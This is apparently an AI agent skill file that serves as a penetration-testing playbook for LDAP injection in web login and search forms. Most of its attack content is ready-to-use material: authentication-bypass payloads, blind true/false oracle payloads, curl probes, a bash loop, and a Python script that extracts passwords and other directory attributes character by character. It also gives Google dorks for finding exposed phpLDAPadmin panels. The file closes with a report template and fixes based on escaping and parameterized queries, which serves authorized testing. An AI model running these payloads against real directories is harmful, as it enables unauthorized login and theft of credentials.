exploiting-ldap-injection

star 618

Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input, letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input into LDAP filters (uid, cn, mail, etc.).

xalgord By xalgord schedule Updated 6/6/2026

name: exploiting-ldap-injection description: Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input, letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input into LDAP filters (uid, cn, mail, etc.). domain: cybersecurity subdomain: web-application-security tags:

  • penetration-testing
  • ldap-injection
  • authentication-bypass
  • owasp
  • web-security version: '1.0' author: xalgorix license: Apache-2.0

Exploiting LDAP Injection

When to Use

  • During authorized tests of login forms backed by an LDAP/Active Directory directory
  • When a search/lookup feature queries a directory by uid, cn, mail, sn, or similar attributes
  • When the app builds filters like (&(user=INPUT)(password=INPUT)) from raw input
  • When you spot LDAP-style errors, phpLDAPadmin, or directory-driven address books / user pickers
  • When testing intranet portals, SSO bridges, or HR/employee directories

Critical: Variants Most Often Missed

LDAP filters are prefix/Polish notation: (&(a=1)(b=2)) = AND, (|(a=1)(b=2)) = OR, (!(a=1)) = NOT. The wildcard * matches anything and is the single most powerful primitive. Filters MUST stay syntactically valid — prefer sending ONE clean filter. Test the full matrix for every input:

# 1. Wildcard everything (works in most LDAPi contexts)
user=*           password=*        --> (&(user=*)(password=*))   # match any

# 2. Authentication bypass — comment/cut the password check
user=*)(&        password=*)(&     --> (&(user=*)(&)(password=*)(&))
user=*)(|(&       pass=pwd)         --> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*  password=x)   --> (&(user=*)(|(password=*)(password=x))
user=*))%00      pass=any           --> (&(user=*))%00  # NULL byte truncates rest

# 3. Target a known account, neutralize the password
admin)(&)        password=pwd       --> (&(user=admin)(&))(password=pwd)
admin' or '1'='2  (string-context)  --> account selected regardless of password
username=admin)(!(&(|   pass=any))  --> (&(uid=admin)(!(&(|)(webpassword=any))))  # (|)=FALSE → bypass

# 4. Force absolute TRUE / FALSE
(&)  = absolute TRUE        (|)  = absolute FALSE

# 5. Inject a second filter (behavior depends on server)
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
--> (&(objectClass=*)(ObjectClass=*))(&(objectClass=void)...  # first filter executes

Server quirks that change exploitation:

  • OpenLDAP: if two filters arrive, only the FIRST executes.
  • ADAM / Microsoft LDS: two filters throw an error.
  • SunOne Directory Server 5.0: executes BOTH filters.

How to CONFIRM a hit (avoid false negatives)

  • Auth bypass: a * / *)(& payload logs you in or returns a user record without valid credentials.
  • Boolean oracle (blind): compare a TRUE vs FALSE payload response.
    • TRUE: *)(objectClass=*))(&objectClass=void → data returned / "logged in".
    • FALSE: void)(objectClass=void))(&objectClass=void → no data / login fails.
    • A reliable difference in body, length, or status between the two confirms blind LDAPi.
  • Error-based: malformed filters like admin)(&) may raise a directory error, confirming the input reaches the filter.
  • Treat ANY consistent TRUE/FALSE divergence as exploitable even if no data is directly echoed.

Workflow

Step 1: Identify the Injection & Filter Shape

# Inject special chars and watch for errors / behavior change
# ( ) * \ | & ! = NUL
curl -s "https://target/login.php" --data "user=*&password=*"
curl -s "https://target/login.php" --data "user=admin)(&)&password=x"   # may error → reaches filter

Step 2: Authentication Bypass

# Classic wildcard bypass
user=*  password=*                          # (&(user=*)(password=*))
# Neutralize the password clause
user=admin)(!(&(|  password=any))           # makes the password subtree FALSE-negated → TRUE
# NULL-byte truncation
user=*))%00  password=any                   # rest of filter discarded

Step 3: Blind Extraction of Attribute Values (passwords, tokens)

# Per-character brute force over a target attribute using the * anchor.
# (&(sn=administrator)(password=A*)) ... iterate A..Z,0..9,symbols
for c in {A..Z} {a..z} {0..9}; do
  resp=$(curl -s "https://target/login.php" \
    --data "user=*)(sn=administrator)(password=${KNOWN}${c}*&password=x")
  echo "$resp" | grep -q "OK_MARKER" && { echo "char=$c"; break; }
done
#!/usr/bin/python3
# Blind LDAP attribute extraction (adapted from HackTricks)
import requests, string
url = "http://10.10.10.10/login.php"
proxy = {"http": "localhost:8080"}
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c","cn","mail","sn","uid","userPassword","password","objectClass"]
for attr in attributes:
    value, finish = "", False
    while not finish:
        for ch in alphabet:
            query = f"*)({attr}={value}{ch}*"          # injected filter prefix
            r = requests.post(url, data={'login': query, 'password': 'bla'}, proxies=proxy)
            if "Cannot login" in r.text:               # TRUE oracle marker
                value += ch
                break
            if ch == alphabet[-1]:
                finish = True
        print(f"{attr}: {value}")

Brute-force all default LDAP attributes (use the PayloadsAllTheThings LDAP_attributes.txt list) to discover where sensitive data lives, then dump it character by character.

Key Concepts

Concept Description
Filter syntax Prefix notation: (&...)=AND, `(
Wildcard * Matches any value; core primitive for bypass and extraction
Absolute TRUE/FALSE (&) is always TRUE, `(
Boolean blind oracle Compare TRUE vs FALSE payload responses to infer data
NULL byte %00 Truncates the rest of the filter so trailing clauses are ignored
Server divergence OpenLDAP runs only the first filter; SunOne runs both; ADAM/LDS errors

Tools & Systems

Tool Purpose
Burp Suite Intruder Automate boolean/char brute force with grep-match oracles
PayloadsAllTheThings (LDAP_FUZZ.txt, LDAP_attributes.txt) Filter payloads and attribute wordlists
Custom Python scripts Blind per-character attribute extraction
ldapsearch Validate recovered DN/attributes against the directory if creds obtained
Google dorks intitle:"phpLDAPadmin" inurl:cmd.php to find exposed admin panels

Common Scenarios

Scenario 1: Wildcard Login Bypass

A login does (&(uid=INPUT)(userPassword=INPUT)). Submitting uid=* and password=* yields (&(uid=*)(userPassword=*)), matching the first directory user and granting access.

Scenario 2: Blind Password Disclosure

A search returns results only when its filter matches. Injecting *)(sn=administrator)(password=A* and iterating the trailing char reveals the admin password one character at a time via the result/no-result oracle.

Scenario 3: Negation Bypass

Login filter (&(uid=INPUT)(webpassword=INPUT)). Payload uid=admin)(!(&(| with pass=any)) builds (&(uid=admin)(!(&(|)(webpassword=any)))) — since (|) is FALSE, the negated subtree is TRUE and admin authenticates without the password.

Output Format

## LDAP Injection Finding

**Vulnerability**: LDAP Injection (filter manipulation)
**Severity**: High to Critical (CVSS 8.1–9.8 when it bypasses auth or dumps creds)
**Location**: POST /login.php  (user, password parameters)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Submit user=* and password=* → application authenticates as the first directory user.
2. Confirm blind oracle: TRUE payload `*)(objectClass=*))(&objectClass=void` returns data;
   FALSE payload `void)(objectClass=void))(&objectClass=void` returns none.
3. Extract userPassword via per-character injection `*)(uid=admin)(userPassword=A*`.

### Evidence
| Payload | Result | Meaning |
|---------|--------|---------|
| user=*&password=* | Logged in | Wildcard auth bypass |
| ...(password=A* | No result | Char != A |
| ...(password=M* | Result | First char = M |

### Impact
Authentication bypass, enumeration of directory objects/attributes, and blind disclosure of credentials and other sensitive attributes.

### Recommendation
1. Escape LDAP special characters per RFC 4515 ( \28 \29 \2a \5c \00 ) on all user input.
2. Use parameterized directory APIs / framework escaping helpers, never string concatenation.
3. Apply least-privilege bind accounts and restrict which attributes searches can return.
4. Add server-side allow-lists for searchable attributes and reject `*` where not expected.
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill exploiting-ldap-injection
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator